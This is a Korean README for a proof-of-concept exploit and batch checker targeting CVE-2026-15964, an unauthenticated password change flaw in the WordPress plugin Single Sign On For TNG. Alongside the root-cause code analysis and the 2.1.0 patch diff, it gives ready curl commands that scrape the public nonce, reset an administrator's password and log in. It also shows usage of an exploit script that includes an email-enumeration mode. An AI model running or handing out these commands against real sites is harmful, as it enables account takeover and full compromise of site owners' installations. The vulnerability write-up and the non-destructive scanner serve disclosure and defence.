
CVE-2026-15964용 PoC 및 검사기 - WordPress 플러그인 Single Sign On For TNG <= 2.0.0의 인증되지 않은 비밀번호 변경 (CVSS 9.8)
검증되지 않은 비밀번호 변경을 통한 인증되지 않은 권한 상승 WordPress 플러그인 Single Sign On For TNG에서 발생합니다.
| 심각도 | Critical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (검증되지 않은 비밀번호 변경) |
| 영향 범위 | 플러그인 버전 1.0.0 ~ 2.0.0 |
| 수정 버전 | 2.1.0 (2026-07-27 출시) |
| 공개일 | 2026-08-01 |
| 인증 요구 | 없음 (wp_ajax_nopriv_ssoprocess_ajax) |
| 영향 | 관리자를 포함한 모든 WordPress 계정의 비밀번호 변경 가능 - 완전한 사이트 장악 |
| 플러그인 | https://wordpress.org/plugins/single-sign-on-for-tng/ |
인증되지 않은 모든 방문자가 2.0.0 이하 버전의 플러그인을 실행 중인 사이트의 모든 계정 비밀번호를 변경할 수 있습니다. HTTP 요청 두 번이면 됩니다:
SSOPWDREQUIREMENT JavaScript 객체에서 nonce를 복사합니다.operation=setnewpassword, 피해자 이메일, 새 비밀번호와 함께 admin-ajax.php로 POST합니다.나머지는 WordPress 코어의 reset_password()가 처리합니다. 토큰도, 이메일 확인 링크도, 권한 검사도 없습니다. 이후 관리자로 로그인하면 됩니다.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
single-sign-on-for-tng.php(v2.0.0)에서:
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_*는 세션 없이도 핸들러에 접근할 수 있음을 의미합니다.
load_scripts()는 wp_enqueue_scripts에 연결되어 있으므로 모든 프런트엔드 페이지에서 플러그인은 다음을 HTML에 출력합니다:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
다음과 같이 렌더링됩니다:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
그리고 핸들러는 다음과 같이 검증합니다:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
문제는 이렇습니다: WordPress는 uid와 세션 토큰을 사용해 wp_create_nonce($action)으로 nonce를 계산합니다. 로그아웃된 방문자의 경우 이 값은 0과 빈 문자열이므로, 모든 익명 방문자는 똑같은 nonce를 받습니다. nonce는 12시간마다만 다시 생성됩니다(nonce tick). 따라서 플러그인이 어떤 방문자에게 출력하는 nonce는 공격자에게도 유효합니다. 훔칠 비밀이 없으며, 페이지 자체에 공개되어 있습니다.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password()는 WordPress 코어 함수입니다. 새 해시를 설정하고, 피해자를 다른 모든 세션에서 로그아웃시키며, password_reset / after_password_reset 액션을 발생시킵니다. 이 함수는 호출자가 계정 소유자임을 증명하는 어떤 것도 없이 호출됩니다.
알아둘 만한 추가 사항 두 가지:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC 규칙은 Forminator 폼용 validate_form()에서만 적용되며, 여기서는 절대 적용되지 않습니다. 어떤 비밀번호든 허용됩니다.{"success":true}와 {"success":false}를 비교하면 이메일이 등록되어 있는지 알 수 있습니다. 체커의 --enum-only 모드가 이를 활용합니다.operation=set_tzoffset은 인증 없이 update_option('localtzoffset', $post['timezoneoffset'])을 호출합니다. RCE로 직접 악용할 수는 없지만, 인증되지 않은 옵션 쓰기이므로 writeup에서 언급할 가치가 있습니다.2.0.0과 2.1.0을 비교하면 수정 사항이 명확해집니다(그리고 버그도 확인됩니다):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
그리고 newpasswordform()에서:
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
따라서 2.1.0에서는 흐름이 이렇습니다: 실제 복구 요청이 사용자 메타에 사용자별 custom_recovery_token + custom_recovery_nonce를 저장하고, 복구 링크가 사용자 ID를 전달하며, 폼이 둘 다 검증하고, AJAX 핸들러는 복구 기간(timeout)이 만료되면 실행을 거부합니다. 유효한 복구 레코드를 만들 수 없는 공격자는 더 이상 setnewpassword를 실행할 수 없습니다.
1단계 - nonce 스크래핑
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
2단계 - 비밀번호 변경
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
취약한 설치 환경에서 예상되는 응답: {"success":true}
3단계 - 로그인
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.py단일 사이트 익스플로잇. 비파괴 모드 포함.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.py자체 사이트 목록을 위한 배치 스캐너입니다. 설계상 비파괴적 - 비밀번호를 절대 변경하지 않습니다.
각 사이트를 분류하는 방법:
SSOPWDREQUIREMENT 객체 또는 /wp-content/plugins/single-sign-on-for-tng/ 에셋 경로.readme.txt의 Stable tag: 줄. <= 2.0.0이면 취약, >= 2.1.0이면 패치됨. CVE 기준으로 가장 신뢰할 수 있는 방법입니다.--probe, 버전을 읽을 수 없을 때만) - 존재하지 않는 이메일로 operation=setnewpassword를 POST합니다. 2.0.0 설치 환경은 오류 메시지 없이 {"success":false}로 응답하고, 2.1.0 설치 환경은 "time to submit the new password expired" 메시지로 응답합니다. 실제 이메일은 절대 전송되지 않습니다. 전송하면 실제로 비밀번호가 초기화되기 때문입니다.# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
출력 예시:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1